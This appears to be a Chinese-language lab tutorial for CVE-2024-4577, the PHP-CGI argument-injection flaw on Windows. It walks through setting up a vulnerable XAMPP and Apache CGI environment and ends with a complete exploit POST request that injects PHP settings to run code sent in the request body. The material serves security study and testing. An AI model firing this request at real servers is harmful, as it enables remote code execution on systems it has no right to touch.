| CVE | 描述 | CVSSv3 |
| CVE-2024-4577 | PHP-CGI 参数注入漏洞 | 9.8 |
"CVE-2024-4577 是 PHP 中一个严重的参数注入漏洞,可被利用来实现远程代码执行 (RCE)。据 DEVCORE 的研究人员称,该缺陷是字符编码转换错误的结果,影响了 Windows 上的 “Best Fit” 功能。"
-Tenable
下载 XAMPP (8.1.25 / PHP 8.1.25) 安装 XAMPP 后,检查 PHP 版本。应为 8.1.25。可通过在命令行中运行 "php -v" 命令来检查 PHP 版本。如果出现错误,则应将其添加到 PHP PATH 变量中。
需要更改区域设置。为此,依次进入控制面板 > 时钟和区域 > 区域。将格式设置为日语、繁体中文或简体中文。单击管理 > 更改系统区域设置,然后选择相应的区域。
如果 PHP 未以 CGI 模式运行,则应进行以下设置。
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddType application/x-httpd-php .php
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
LoadModule php_module "C:/xampp/php/php8apache2_4.dll"。在该行开头添加 '#'。保存更改并启动 Apache 实例。
如果在以下 POST 请求的响应正文中看到了 PHP 代码的输出,则漏洞利用步骤成功。
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{HOST}}
User-Agent: curl/8.3.0
Accept: /
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
echo "vulnerable";
?>
此实验环境仅供教育目的,不得在真实环境中使用。本人对因不当使用而可能产生的任何损害或损失概不负责。用户必须自行承担使用此环境的风险。